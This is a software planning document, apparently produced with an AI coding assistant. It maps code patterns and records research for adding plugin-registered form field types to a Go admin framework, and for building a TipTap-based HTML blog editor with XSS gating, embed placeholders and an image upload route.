- `crud.go:1224-1232`: the `scalarFormField` switch gains a registry lookup (it is used by `BindWritableFields` at 204 and `mergedRules` at 1073).
- `field_ml.go:47-53` `mlFieldType(typ)`: becomes registry-aware (a plugin type with `Translatable: true`).
- Error mapping: follow `lifecycleFailure` (crud.go:815-850). `pact.FieldError` becomes a 422; anything else becomes the opaque 500.
### `modules/cabana/form_schema.go`
The self-pattern at lines 24-30 (closed set) and 466-480 (key check before type resolution). Reorder so the type resolves first and plugin `Options` keys are checked after it, then call `CheckOptions`. `decodeFields` callers: form_schema.go:194, settings.go:74 (refuse plugin types in v1), relation_form.go:145/:246.
---
### `admin/src/components/form/fields/PluginField.vue` (component, event-driven)
**Analog:** `admin/src/components/form/fields/WidgetField.vue`. Copy:
- the imports block (lines 1-9: `inject`, `FORM_ASSETS`, `FORM_LOCALE`, `ExtensionFailure`, `FieldControlProps`);
- the imperative element creation in a `mountPoint` that Vue never renders into;
- the `status: 'loading' | 'ready' | 'failed'` ref, the `defined(tag)` wait with `timeout(ms)` (lines 50-60);
- the header-comment rule: never give the element a token, cookie, function or Vue instance.
Differences: set `el.value` (property, not attribute); listen for `summer-change` → `emit('update:modelValue', detail.value)`; handle `summer-upload` by posting through `api` (the same client as the widget action) to the field upload route, then dispatch `summer-upload-result`. Add event-name constants next to `WIDGET_EVENT`/`WIDGET_RESULT_EVENT` in `formContext.ts:86,93`.
### ML variant
**Analog:** `admin/src/components/form/fields/MLMarkdownField.vue` (whole file):
```vue
<MLField v-bind="props" :inner="MarkdownField" inner-type="markdown" ml-type="mlmarkdown"
@update:model-value="emit('update:modelValue', $event)" />
```
Use `:inner="PluginField"`, `inner-type` = the base alias, and `ml-type` = `field.type`. Let `isMLFieldType` (`mlLocale.ts:2`, `ML_FIELD_TYPES`) accept fields flagged `translatable`.
### `admin/src/components/form/registry.ts`
Self-pattern: `rendererFor(type)` returns `renderers.get(type) ?? lazyRenderers.get(type)?.() ?? UnsupportedField`. Change it to take the field (or check `field.element`) so plugin types fall back to `PluginField`/`MLPluginField` instead of `UnsupportedField`. `valueless` stays unchanged. Add translatable plugin types to `groupLabelledTypes` behaviour.
### `admin/src/app/fieldTypes.ts` (global loader)
**Analog:** `admin/src/app/pluginAssets.ts`. Reuse `assetAllowed()`, the `scripts` once-per-URL map, and the module-script loading. Unlike `activateStyles(controllerId)` (lines 105-110, which disables links whose `owner !== active`), field-type links need a reserved global owner that `activateStyles` skips (Pitfall 8). Call it once after login, from the app shell.
---
### `../sm-journal-plugin/classes/blog_editor.go` (Decode/Load/ListValue/Upload)
**Analog (gate):** `classes/format_html.go`, `CheckHTML(doc string) error`. **Analog (422 shape and nil content):** `controllers/categories.go:65-82`:
```go
func prepareCategoryWrite(cat *models.Category) error {
if cat.Content == nil { return nil }
if strings.TrimSpace(*cat.Content) == "" { cat.Content = nil; return nil }
if err := classes.CheckHTML(*cat.Content); err != nil {
return &cabana.ValidationError{Details: map[string]any{"content": []string{err.Error()}}}
}
return nil
}
```
In Decode, return `pact.FieldError{Messages: []string{err.Error()}}` instead of `cabana.ValidationError`. Load serves `content` if it looks like HTML, otherwise `content_html` (non-default locale through `TranslationWriter.TranslatedExact`, `field_ml.go` interface).
### `../sm-journal-plugin/classes/media_store.go` (extracted storage)
**Analog:** `controllers/api/media.go` `UploadMedia` lines 22-91. Extract the part after auth (lines ~42-84): the extension allowlist `jpg|jpeg|png|gif|webp`, the `mediaMaxBytes` cap, `mediaObjectPath(folder, name)`, `uniqueMediaKey`, `bucket.NewWriter` and `attach.PublicURL(...)`. Use it as a `StoreMedia(ctx, bucket, folder, filename, body) (url, path string, err error)` called by both `UploadMedia` and the `blogeditor` Upload. Validation messages ("The file must be an image." and so on) become `pact.FieldError` on the field route. The API route keeps its response shape (D-09 parity).
### `../sm-journal-plugin/controllers/posts.go`
Self-pattern `preparePostWrite` (204-221). The admin path drops:
```go
html, err := classes.FormatHTML(post.Content)
...
post.ContentHTML = html
```
Replace it with `if writes, ok := cabana.FieldWritesFromContext(ctx); ok { if v, ok := writes["content"][defaultLocale]; ok { post.ContentHTML = v } }`. In `FormAfterCreate`/`FormAfterUpdate`, call `writer.WriteTranslated(ctx, tx, post, "content_html", locale, value)` for each written non-default locale. `controllers/api/posts_helpers.go` keeps `FormatHTML`.
### `../sm-journal-plugin/admin.go` / `plugin.go`
The `//go:embed` list in `admin.go:16-20`, for example `//go:embed assets/images/journal-icon.svg`. Add `assets/dist/blogeditor.js assets/dist/blogeditor.css`. The plugin type implements `pact.HasFormFieldTypes`, with compile-time assertions in the style of `var ( _ pact.AdminController = categoriesAdminController{} )` (categories.go:84+).
### `../sm-journal-plugin/package.json`, `vite.config.ts`, `scripts/check-dist.sh`
**Analog:** `scripts/check-admin-dist.sh` (whole file): `set -euo pipefail`, `npm ci` if needed, typecheck, `vite build --outDir "$TMP/dist" --emptyOutDir`, then `diff -r "$TMP/dist" assets/dist` with a clear stale message. Copy the pins from `admin/package.json` (vite 7.3.5, vitest 3.2.7, happy-dom 20.11.6, typescript 5.9.3).
### `../vue-journal-layer/app/utils/embeds.ts` (transform)
**Analog:** `../vue-journal-layer/app/utils/htmlGate.ts`. Same style: an exported regex constant, a header comment that names the Go source of truth, and pure string functions:
```ts
export const UNSAFE_TAG = /<(?:script|iframe|object|embed)\b/i
export function gateJournalHtml(html: string | null | undefined): { safe: boolean; html: string } {
if (!html) return { safe: true, html: '' }
return isSafeJournalHtml(html) ? { safe: true, html } : { safe: false, html: '' }
}
```
`expandEmbeds(html)` runs on `gated.html` after the gate, in `PostBody.vue:11` (`v-html="gated.html"`) and `CategoryHeader.vue:17` (`v-html="content.html"`).
## Shared Patterns
### Fail-loud boot errors
**Source:** `modules/cabana/extension.go` `bootErr(pluginID, id, name, err)` and `compileExtension` (60+). **Apply to:** alias collisions, bad element tags, asset paths, and unknown or invalid plugin options.
### Admin-route guard stack
**Source:** `http.go:335-347` (`requireAjax(...)`) plus `s.protect(w, r, func(cc *CompiledController) {...})` (field_file.go:684). **Apply to:** the field upload route and any field-types boot endpoint.
### Error to HTTP mapping
**Source:** `crud.go:815-850` `lifecycleFailure`, `writeCRUDError`, `WriteError(w, 500, "error", msgServerError)`. **Apply to:** Decode, Load and Upload failures (`pact.FieldError` becomes a 422; anything else becomes an opaque 500).
### Element credential rule and event naming
**Source:** `WidgetField.vue` header comment and `formContext.ts:86,93` (`summer-action`/`summer-result`). **Apply to:** PluginField and the blogeditor element (`summer-change`, `summer-upload`, `summer-upload-result`).
### Committed-dist drift gate
**Source:** `scripts/check-admin-dist.sh`. **Apply to:** the admin SPA (`modules/boardwalk/dist`) and the sm-journal-plugin `assets/dist`.
### Docs and README rule
**Source:** CLAUDE.md "Documentation". **Apply to:** pact and cabana READMEs and `docs/`, using neutral `blog`/`acme` names. Verify with `go test ./cmd/summer -run TestDocsTree`.
### Concurrent-session staging
Stage by explicit path. Check `git status` and `git diff` for in-flight edits to `crud.go`, `form_schema.go` and `http.go` before committing.
## No Analog Found
| File | Role | Data Flow | Reason |
|---|---|---|---|
| `../sm-journal-plugin/assets/src/blogeditor/*` (TipTap element, schema, serializer, dirty tracking) | component | event-driven | No TipTap/ProseMirror code in any repo. Use RESEARCH Pattern 3/4/5 and Code Example 3 |
| Server-side "served value equals submitted" skip | service | CRUD | New semantics; there is no existing compare-and-skip in `save()`. Use RESEARCH Pattern 3 |
## Metadata
**Analog search scope:** `modules/pact`, `modules/cabana`, `admin/src/{app,components/form}`, `scripts/`, `../sm-journal-plugin/{classes,controllers,admin.go}`, `../vue-journal-layer/app/{utils,components/Journal}`
**Files scanned:** ~25
**Pattern extraction date:** 2026-10-09

View File

@@ -0,0 +1,772 @@
# Phase 16.2: Plugin-provided field types and the Blog Editor formwidget - Research
**Researched:** 2026-10-09
**Domain:** Go admin framework extension API (pact/cabana), Vue admin SPA, TipTap/ProseMirror custom element, Nuxt layer HTML post-processing
**Confidence:** HIGH for the framework integration points (read from source this session) and for TipTap's lossy behaviour (probed locally against 3.31.4). MEDIUM for the recommended editor-preservation design, which is a design proposal that no tests cover yet.
<user_constraints>
## User Constraints (from CONTEXT.md)
### Locked Decisions
#### Blog Editor: what it is
- **D-01:** The Blog Editor is a **WYSIWYG HTML editor with a source (raw HTML) toggle**, built on ProseMirror through TipTap. It is not a block editor and not a markdown editor.
- **D-02:** **An admin save stores HTML in both columns.** `content` holds the edited HTML and `content_html` holds the same HTML after it passes `classes.CheckHTML`. The API response shape is unchanged; `content` is simply HTML, as the PHP export already carries for imported posts. — **Reversibility:** costly — every post saved from the admin becomes HTML-content. A later move back to markdown would need an HTML-to-markdown migration across live posts.
- **D-03:** **Byte-preserving unless edited.** If the post body is not touched in the editor, the save writes back exactly the stored HTML; the editor must not re-serialize an untouched document. Once the body is edited in WYSIWYG, markup the schema doesn't know (custom classes, divs, attributes) is kept as far as possible through generic node and attribute preservation. The source tab always edits the exact HTML.
- **D-04:** v1 features: basic text (headings, bold/italic, lists, links, blockquote), **images**, **tables**, and **embeds plus a raw HTML block**. The raw HTML block is still subject to `CheckHTML`.
- **D-05:** **Embeds are an allowlisted placeholder node**, for example `<figure data-embed="youtube" data-id="…">`, that passes `CheckHTML` unchanged. **The XSS gate is not relaxed to allow iframes.** The frontend expands the placeholder into the real iframe (D-17). — **Reversibility:** costly — the placeholder markup becomes stored content in live posts, and the layer's renderer depends on it.
- **D-06:** The editor is **translatable like today's `mlmarkdown`**: a locale switcher over a locale → HTML map, stored through the translate overlay.
#### Markdown vs HTML posts
- **D-07:** **A markdown post opens with its `content_html`**, and the next admin save stores HTML (D-02). This is a one-way migration on first edit, with **no per-post format flag** and no new column.
- **D-08:** **The Blog Editor replaces `mlmarkdown` for Journal post `content`** in `models/post/fields.yaml`. `markdown` and `mlmarkdown` stay cabana core types for other plugins. The `excerpt` field is unchanged.
- **D-09:** **The public write API is unchanged.** `POST`/`PUT /_journal/api/v1/posts` keep the PHP contract: `content` is markdown and the server renders `content_html` with `FormatHTML`. Only the admin form path stores HTML.
- **D-10:** **Admin save gate: `CheckHTML` refuses, nothing is sanitized.** Unsafe HTML returns a 422 with a field error, as category content does today, and nothing is silently rewritten. No sanitizer dependency is added. `CheckHTML` must run on every admin write path for both the default and the non-default locale values. The admin save path must stop running `FormatHTML`/goldmark over HTML content, which is the current data-loss bug (todo `journal-imported-html-admin-resave.md`).
#### Field type contract (framework)
- **D-11:** **Plugins register field types under a short global alias**, for example `type: blogeditor`. Boot fails loudly if two plugins, or a plugin and a cabana core type, claim the same alias. This is closer to Winter's `registerFormWidgets` aliases than to a namespaced key. — **Reversibility:** costly — aliases end up in plugin `fields.yaml` files across repos; renaming means editing every consumer.
- **D-12:** The capability is a new `pact` interface (for example `HasFormFieldTypes`). Its Go side owns four things:
1. **Option validation at boot**: the type's own YAML keys, fail-loud like the built-ins.
2. **Value decode and validation on save**: any JSON shape, with field errors returned as 422.
3. **Load and format for the form**: turns the stored column value into what the element receives. For the Blog Editor, a markdown post is served as its `content_html` (D-07).
4. **List column formatting**: for example, strip tags and truncate.
— **Reversibility:** one-way — a published plugin API in `pact`; later plugins (payment and others, per todo `cabana-plugin-registered-field-types.md`) build on it.
- **D-13:** **The client-side element loads globally on admin boot.** A plugin declares its field-type assets once, and the SPA loads them on every admin page, so the type works in any controller's form, including other plugins' forms. The element binds a value through a documented contract instead of the widget action/fill round-trip. The todo's starting point for that contract is a `value` property plus a `summer-change` event; the planner finalizes it. The element reads only the public `--c-*` CSS variables.
- **D-14:** **Translatable variants are registered by the plugin itself**: the plugin registers both `blogeditor` and `mlblogeditor`, mirroring the `markdown`/`mlmarkdown` pair. The planner decides how a plugin ML type plugs into cabana's existing lift/hydrate path (`field_ml.go`) and the translate adapter, so locale storage is not reimplemented per plugin.
- **D-15:** The form schema and the generated TS types carry plugin types as a generic shape, so the SPA build does not need to know them (per the todo). The cabana README, `docs/`, the admin OpenAPI, the generated TS types and the committed `dist/` are updated in the same change (CLAUDE.md documentation rules).
#### Libraries, media, category content
- **D-16:** **The editor library is TipTap (ProseMirror, MIT).** It is wrapped in a plain custom element and bundled in **sm-journal-plugin's own JS build** (`assets/src` → `assets/dist`), with the bundle committed and embedded, like the admin SPA `dist/`. The host app needs no npm. The admin SPA itself gains no editor dependency.
- **D-17:** **Embeds render in the `vue-journal-layer` blog views.** The layer expands allowlisted embed placeholders into privacy-friendly iframes (for example `youtube-nocookie.com`), so grzybyfunkcjonalne.pl shows them. A new layer tag is pinned in `vue-grzybyfunkcjonalne-app`.
- **D-18:** **Images are uploaded through the existing backend-authenticated Journal media upload route**, by drag-and-drop or file picker. The editor inserts `<img src>` with alt text and an optional caption (`figure`/`figcaption`). There is no media library browser.
- **D-19:** **Journal category content uses the Blog Editor** (`blogeditor`, or `mlblogeditor` if the category content attribute is translatable in the PHP tree) instead of the textarea. **No core cabana `richeditor` type** is added. This closes todo `cabana-richeditor-field-type.md` inside Journal. The existing `CheckHTML` gate in the Categories controller's `FormBeforeCreate`/`FormBeforeUpdate` stays.
### Claude's Discretion
- The exact `pact` interface name and method set, Go identifiers, the element value/event contract details, and the asset declaration shape, all within D-11 to D-15.
- How "untouched" is detected for D-03: client-side dirty tracking versus server-side comparison with the loaded value. Either is acceptable as long as an untouched save is byte-identical.
- The ProseMirror schema strategy for preserving unknown markup (generic passthrough nodes and marks, a global attribute preservation extension).
- The exact embed placeholder markup and the provider allowlist (YouTube at minimum).
- Whether a summercms tag release, the host bump and a UAT redeploy belong in this phase, following the 16.1 D-04 pattern. Recommended, because the goal is to edit imported posts on UAT.
- Plan count and split, subject to the plan-count checkpoint and "unit tests are the last plan". Framework work comes before the Journal work.
- Run the security-review agent: the phase adds a plugin API to `pact`, changes HTML write paths and adds an upload path into the editor.
### Folded Todos
- **`cabana-plugin-registered-field-types.md`**: the framework half of this phase (D-11 to D-15).
- **`cabana-richeditor-field-type.md`**: resolved by reusing the Blog Editor for category content (D-19) instead of a core type.
- **`journal-imported-html-admin-resave.md`**: the data-loss part is fixed by D-02, D-07 and D-10. Its required test applies: re-save an imported HTML post and assert `content` and `content_html` are unchanged. If 16.1 already shipped a stopgap, this phase replaces it.
### Deferred Ideas (OUT OF SCOPE)
- **Core cabana `richeditor`/`mlricheditor` type** for plugins without their own editor. Not needed now; any plugin can register its own type or reuse one.
- **Media library browser** for picking previously uploaded images.
- **HTML input on the public write API** (`/_journal/api/v1/posts`). This would extend the PHP contract; the API stays markdown-in for now.
- **Bulk HTML conversion command** (`journal:content-to-html`). Rejected in favour of convert-on-first-edit (D-07); revisit if a uniform format is ever needed.
- **Allowlisting iframe hosts in `CheckHTML`**. Rejected in favour of placeholders (D-05).
</user_constraints>
<phase_requirements>
## Phase Requirements
No REQUIREMENTS.md IDs are mapped to this phase (ROADMAP: "Requirements: TBD"). Coverage is derived from the CONTEXT decisions and the folded todos. ADMIN-07 (Phase 10.1, complete) is the closest existing requirement; this phase extends it and must not regress it.
| ID | Description | Research Support |
|----|-------------|------------------|
| D-01, D-04 | WYSIWYG + source toggle; text, images, tables, embeds, raw HTML block | Standard Stack (TipTap 3.31.4), Pattern 4 (editor schema), probe results in Pitfalls 1-4 |
| D-02, D-07, D-10 | HTML in both columns; markdown post served as `content_html`; CheckHTML refuses on every locale; admin path stops running goldmark | Pattern 2 (save lifecycle), Pattern 6 (Journal integration), Pitfall 6 |
| D-03 | Byte-identical untouched save | Pattern 3 (two-layer untouched detection), Pitfall 5 |
| D-05, D-17 | Embed placeholder; layer expands it after the gate | Pattern 7 (embed expansion), Code Example 4 |
| D-06, D-14 | ML variant through cabana lift/hydrate + translate adapter | Pattern 2 (`Translatable` flag), Pitfall 7 (non-default `content_html` is never written today) |
| D-08, D-19 | `mlblogeditor` for post content, `blogeditor` for category content | Category content is not translatable (Go model and frozen PHP tree) |
| D-11, D-12, D-13, D-15 | pact field-type API, boot validation, generic schema shape, global asset load | Pattern 1 (registry), Pattern 5 (element contract), Architecture Map |
| D-16 | Plugin-owned JS build, committed dist | Pattern 8 (plugin build), Environment Availability |
| D-18 | Image upload from the editor | **Open Question 1**: the existing route cannot be reached with the admin session cookie; Pattern 9 (cabana-owned field upload route) |
| todo resave | Re-save of untouched imported HTML keeps both columns byte-identical | Validation Architecture (test map) |
</phase_requirements>
## Project Constraints (from CLAUDE.md)
These directives come from `summercms.go/CLAUDE.md`, the meta-repo `CLAUDE.md` and the user's global `CLAUDE.md`. The planner must honor them like locked decisions:
- **Lean planning.** Use fewer, larger plans. Before writing any PLAN.md, present the suggested plan count with a one-line scope for each and wait for confirmation.
- **Unit tests are the last plan of the phase.** That plan brings full coverage. Earlier plans may carry smoke tests only.
- **Go conventions.** Use the standard library first. Add a Go dependency only when research or a decision names it; this phase adds **no Go dependency**. `go vet` and `go test ./...` must be green at every commit.
- **Compiled plugins only.** No runtime plugin loading. A JS custom element served from the embedded tree is the Phase 10.1 mechanism and is allowed.
- **API parity.** The Journal public API keeps the PHP contract (D-09). Do not "improve" response shapes.
- **Commits.** No co-author tags. One logical change per commit. Planning docs and code go in separate commits.
- **Module documentation.** Any change to a `modules/` package's exported API, config keys, CLI or dependencies updates that module's `README.md` in the same change. `pact` and `cabana` both change here. The affected `docs/` pages change with them, and `go test ./cmd/summer -run TestDocsTree` must pass. Every identifier named in a README or doc must exist.
- **Framework READMEs never name a consuming application.** Use `blog`/`acme` examples, not Journal or grzybyfunkcjonalne.
- **Core plugin contracts.** Do not break the shared PHP contracts. The PHP originals are not changed.
- **Concurrent session.** Another session may be editing `modules/` (16.1 D-02). Stage files explicitly by path and check for in-flight edits to shared cabana files before committing.
## Summary
The framework half is a new, value-bearing extension point that sits next to the valueless Phase 10.1 `type: widget`. Today every layer hard-codes its type list:
- `formFieldTypes` in `form_schema.go`
- `scalarFormField` in `crud.go`
- `mlFieldType` in `field_ml.go`
- `listColumnTypes` in `list_schema.go`
- the SPA `renderers` map and `ML_FIELD_TYPES`
Each list must consult a per-boot plugin type registry, built in `cabana.Activate` from plugins that implement a new `pact.HasFormFieldTypes`. Three constraints shape the design:
- **Thread the registry through.** `compileFieldNode` is a pure function with no registry access, and `decodeFields` is shared by controller forms, settings forms and relation child forms. The registry has to be passed down, not read from a package global.
- **Keep the YAML pre-check working.** The YAML key pre-check (`formFieldKeys`) runs before the type is known, so plugin-specific keys must be validated after the type is resolved.
- **Run Decode and Load inside the transaction.** `liftMLValues` runs before the transaction and before the record is loaded. Plugin Decode and Load need the loaded record (D-07 serves `content_html`; D-03 compares with the served value), so they run inside the transaction after `loadRecord`.
Two findings change the plan:
- **The Journal media upload route is unreachable from the admin SPA (D-18).**
- The SPA authenticates with the HttpOnly `summer_admin` cookie, whose `Path` is the admin prefix.
- The route lives at `/_journal/api/v1/media/upload`, outside that path, and its guard reads only a Bearer header.
- The element is never given a token (Phase 10.1 rule).
- The recommended fix: a cabana-owned upload route for plugin field types. It sits under the admin API, so it gets the cookie, the CSRF header, permissions and the record scope. Journal implements it by calling the same storage code as the existing route.
- **TipTap's default schema is very lossy on this site's real markup.** Probed against 3.31.4 with the author-footer HTML from the grzybyfunkcjonalne export, the default schema:
- drops `<footer>`, `<div>`, `<span style>`, `<style>`, `<figure>`/`<figcaption>` and microdata attributes;
- normalizes entities;
- rewrites tables (adds `colgroup` and `min-width` styles, drops `thead`, wraps cell text in `<p>`);
- adds `target="_blank" rel="noopener noreferrer nofollow"` to every link;
- appends an empty `<p>`.
Byte preservation therefore has two layers:
- The element never re-serializes an untouched document, and the server skips a submitted value that equals what it served.
- For edited documents, the custom schema is configured to keep as much markup as possible: an atomic raw-HTML block, a global attribute map, figure, embed and span nodes, and links and tables without TipTap's default attributes.
There is also a latent gap. The admin path never writes the non-default locale `content_html` translation; only the host column is set by `FormBeforeUpdate`. PHP's `MLJournalMarkdown::getSaveValue` wrote both per locale. The plugin ML type must close this gap, so the framework has to tell the Journal hooks which field and locale values a save actually wrote.
**Primary recommendation:** Add `pact.HasFormFieldTypes` returning `[]pact.FormFieldType` (a struct of funcs, the same style as `pact.AdminAction`) with `Name`, `Element`, `Translatable`, `Scripts`/`Styles`, option keys plus `CheckOptions`, `Decode`, `Load`, `ListValue` and an optional `Upload`. Cabana runs Decode and Load per locale inside the save transaction, skips values equal to what it served, and exposes the writes to Form hooks through a context accessor. Build the Blog Editor as a light-DOM custom element `golem15-journal-blogeditor` on TipTap 3.31.4 with a preservation-first schema, bundled with the admin SPA's pinned Vite 7.3.5.
## Architectural Responsibility Map
| Capability | Primary Tier | Secondary Tier | Rationale |
|------------|-------------|----------------|-----------|
| Field type registration, alias collision, option validation | API / Backend (cabana boot) | — | Fail-loud boot rule (ADMIN-07 precedent); no request input involved |
| Decode/validate (CheckHTML) per locale, untouched skip | API / Backend (cabana save tx + plugin Decode) | — | XSS gate must be server-side on every write path (D-10); hooks only see the host model |
| Load (markdown post → `content_html`) | API / Backend (plugin Load in Show/save response) | — | Needs the record and translations; the element must receive the served string |
| Locale storage (ML variant) | API / Backend (cabana lift/hydrate + TranslationWriter) | Database (translate overlay) | D-14: not reimplemented per plugin |
| `content_html` companion write (host + non-default) | API / Backend (Journal Form hooks) | — | Journal-specific derived column; needs to know which values were written |
| Global field-type asset delivery | API / Backend (cabana asset route + boot endpoint) | Browser (SPA loader) | Assets are embedded and hashed at boot (D-13, 10.1 D-16) |
| WYSIWYG editing, source toggle, dirty tracking | Browser (custom element) | — | Pure client concern; SPA build gains no editor dependency (D-16) |
| Value binding element ↔ form state | Browser (SPA generic PluginField) | — | Replaces UnsupportedField fallback for plugin types |
| Image upload transport | Browser (SPA posts with admin session) | API / Backend (cabana upload route → plugin Upload) | Element never holds credentials (10.1 rule) |
| Image storage | API / Backend (Journal media store) | CDN / Static (nginx `/storage/app/uploads/public`) | Same key layout and public URL as the existing route |
| Embed placeholder → iframe | Frontend Server (SSR, vue-journal-layer) | Browser (hydration) | D-05/D-17: iframes exist only after the frontend gate |
## Standard Stack
### Core (JS, sm-journal-plugin only; the admin SPA gains no editor dependency per D-16)
| Library | Version | Purpose | Why Standard |
|---------|---------|---------|--------------|
| `@tiptap/core` | 3.31.4 (published 2026-09-30, MIT) | Editor API, `Node`/`Extension`/`Mark` factories | Locked by D-16 [VERIFIED: npm registry: `npm view @tiptap/core version license`] |
| `@tiptap/pm` | 3.31.4 (MIT) | ProseMirror re-export (model/view/state/tables) | Peer dependency of core; pins prosemirror-model ^1.25.11, prosemirror-view ^1.42.3 [VERIFIED: npm registry] |
| `@tiptap/starter-kit` | 3.31.4 (MIT) | Paragraph, headings, bold/italic, lists, blockquote, link, history, trailing node | Configure with `trailingNode: false` and a reconfigured `link` (see Pitfalls) [VERIFIED: node_modules/@tiptap/starter-kit/src/starter-kit.ts:166-169] |
| `@tiptap/extension-table` | 3.31.4 (MIT) | `TableKit` (table, row, header, cell) | Official table support; override `renderHTML` to stop the colgroup/min-width output [CITED: tiptap.dev/docs/editor/extensions/nodes/table] |
| `@tiptap/extension-image` | 3.31.4 (MIT) | `img` node (block by default, `allowBase64: false`) | Base for the figure/caption node; base64 refused by default [VERIFIED: node_modules/@tiptap/extension-image/src/image.ts:87-90,127] |
### Supporting (build/test, devDependencies of the plugin JS build, versions pinned to the admin SPA's lockfile)
| Library | Version | Purpose | When to Use |
|---------|---------|---------|-------------|
| `vite` | 7.3.5 | Library-mode build of `assets/src` to one ES module `assets/dist/blogeditor.js` (+ `.css`) | Same pin as `admin/package.json`; avoids a second bundler in the repo set [VERIFIED: summercms.go/admin/package.json] |
| `vitest` | 3.2.7 | Unit tests of the serializer, dirty tracking, embed node | Same pin as the admin SPA [VERIFIED: admin/package.json] |
| `happy-dom` | 20.11.6 | DOM for vitest; also used in this session's probes (TipTap runs on it) | Same pin as the admin SPA [VERIFIED: admin/package.json; local probe ran Editor on happy-dom] |
| `typescript` | 5.9.3 | Type-check the element source | Same pin as admin SPA and vue-journal-layer |
Go side: **no new dependency.** It uses `encoding/json` and `strings` in the Journal Decode/Load, and the existing `gocloud.dev/blob` in the media store.
### Alternatives Considered
| Instead of | Could Use | Tradeoff |
|------------|-----------|----------|
| Vite library mode | esbuild 0.28.2 directly | esbuild is smaller and faster, but it adds a second toolchain next to the admin's pinned Vite. It also has a `postinstall` (`node install.js`) binary fetch. Vite 7.3.5 already uses esbuild internally. |
| Light-DOM element + tag-scoped CSS | Shadow DOM | Shadow DOM isolates styles, but ProseMirror selection inside shadow roots has historically had browser quirks. The 10.1 rule already restricts plugin CSS to `--c-*` variables, and those variables inherit either way. [ASSUMED] |
| One bundle (~430 KiB min / ~135 KiB gzip) | Lazy chunk loaded on first element connect | Lazy loading needs a declared-but-not-auto-loaded asset, which the 10.1 asset mechanism does not model. One bundle is revalidated with `ETag`/304 per page. |
**Installation (in `../sm-journal-plugin`):**
```bash
npm init -y # or a hand-written package.json with "private": true, "type": "module"
npm install --save-exact @tiptap/core@3.31.4 @tiptap/pm@3.31.4 @tiptap/starter-kit@3.31.4 @tiptap/extension-table@3.31.4 @tiptap/extension-image@3.31.4
npm install --save-exact -D vite@7.3.5 vitest@3.2.7 happy-dom@20.11.6 typescript@5.9.3
```
**Bundle size (measured):** StarterKit + TableKit + Image + core bundled with esbuild 0.28.2 `--minify --format=esm`: 440,767 bytes minified, 138,583 bytes gzip -9. [VERIFIED: local build in session scratchpad]
## Package Legitimacy Audit
| Package | Registry | Age | Downloads | Source Repo | Verdict | Disposition |
|---------|----------|-----|-----------|-------------|---------|-------------|
| @tiptap/core | npm | latest 3.31.4 published 2026-09-30 (9 days) | 21.5M/wk | github.com/ueberdosis/tiptap | [SUS] reason `too-new` (the release, not the package) | Flagged: planner adds checkpoint:human-verify before install |
| @tiptap/pm | npm | 3.31.4, 9 days | 21.4M/wk | github.com/ueberdosis/tiptap | [SUS] `too-new` | Flagged |
| @tiptap/starter-kit | npm | 3.31.4, 9 days | 18.4M/wk | github.com/ueberdosis/tiptap | [SUS] `too-new` | Flagged |
| @tiptap/extension-table | npm | 3.31.4, 9 days | 6.0M/wk | github.com/ueberdosis/tiptap | [SUS] `too-new` | Flagged |
| @tiptap/extension-image | npm | 3.31.4, 9 days | 9.3M/wk | github.com/ueberdosis/tiptap | [SUS] `too-new` | Flagged |
| @tiptap/extension-link | npm | 3.31.4 (via starter-kit) | 19.5M/wk | github.com/ueberdosis/tiptap | [SUS] `too-new` | Flagged (transitive) |
| esbuild | npm | 0.28.2 | 299M/wk | github.com/evanw/esbuild | [OK]; `postinstall: node install.js` (platform binary fetch, known) | Not recommended directly; arrives via Vite |
| vite, vitest, happy-dom, typescript | npm | pinned versions already in `summercms.go/admin/package-lock.json` | — | — | not re-run (already vetted in Phase 10) | Approved (same pins) |
**Packages removed due to [SLOP] verdict:** none.
**Packages flagged as suspicious [SUS]:** every `@tiptap/*` package, for the single reason `too-new`. The 3.31.4 release is 9 days old; the packages themselves have tens of millions of weekly downloads and none has a `postinstall` script.
- The planner adds a `checkpoint:human-verify` before the first `npm install`.
- Alternatively, pin an earlier 3.x release that is more than 14 days old. The package names come from TipTap's official docs and npm (`[VERIFIED: npm registry]`) and the seam was run (`msd-tools query package-legitimacy check`).
## Architecture Patterns
### System Architecture Diagram
```
BOOT (cabana.Activate)
plugins ──HasFormFieldTypes──> fieldTypeRegistry ──┬─> alias collision check vs core types + other plugins (fail boot)
│ ├─> read+hash Scripts/Styles from AdminFS (reuse compileClientAssets reader)
│ └─> passed into decodeFields(...) for controller / relation-child forms
│ (settings forms: refuse plugin types at boot in v1)
▼
fields.yaml `type: mlblogeditor` ──> compileFieldNode: core key check, then plugin keys ──> CheckOptions ──> FormField{type, element, translatable, typeOptions}
ADMIN SPA
login ─> app shell ─> GET /field-types (or navigation meta) ─> loadScript(each) once, global CSS always enabled
FormView ─> rendererFor(type) ─ unknown/plugin ─> PluginField ─(translatable)─> MLField(inner = PluginField)
PluginField ── el.value = served string ──> <golem15-journal-blogeditor>
<── 'summer-change' {value} ── (element keeps original string until a user edit)
<── 'summer-upload' {id,file} ── ─> POST {api}/{v}/{p}/{c}/{id}/fields/{field}/upload (cookie + X-Requested-With)
── 'summer-upload-result' {id,url|error} ──>
SAVE (PUT {api}/{v}/{p}/{c}/{id})
body ─> lift plugin values (shape: plain any JSON | ML map of enabled locale -> string)
─> tx: loadRecord(FormExtendQuery scope)
─> per (field, locale): served := Load(record, locale); if update && submitted == served -> SKIP
else Decode(...) -> CheckHTML -> 422 FieldError | stored value
─> default-locale values onto body -> Fill ; non-default -> translations list
─> ctx += written {field: {locale: value}} (accessor for hooks)
─> FormBeforeUpdate (Journal: content_html := content only if content written)
─> row Save ─> applyMLTranslations ─> FormAfterUpdate (Journal: WriteTranslated content_html per written non-default locale)
─> projectFullRecord ─> hydrate: Load per locale ─> response
PUBLIC SITE (vue-journal-layer)
API content_html ─> gateJournalHtml (3 regexes, refuses raw iframe) ─> expandEmbeds (allowlist + id regex) ─> v-html
```
### Recommended Project Structure
```
summercms.go/
├── modules/pact/capabilities.go # + FormFieldType, FormFieldInput, FieldError, HasFormFieldTypes, FormFieldUpload*
├── modules/cabana/field_type.go # NEW: registry build, collision/alias rules, option check, Decode/Load runner, list formatter
├── modules/cabana/field_type_upload.go # NEW: POST .../{id}/fields/{field}/upload handler
├── modules/cabana/form_schema.go # decodeFields/compileFieldNode take the registry; plugin keys after type resolution
├── modules/cabana/crud.go # save(): plugin lift/decode/skip in tx; written-values context; scalarFormField registry-aware
├── modules/cabana/field_ml.go # mlFieldType registry-aware; hydrate calls Load
├── modules/cabana/admin_openapi.go # new route(s) + FormField generic fields
├── admin/src/components/form/fields/PluginField.vue # NEW generic element host
├── admin/src/app/fieldTypes.ts # NEW global loader (scripts once, CSS never disabled)
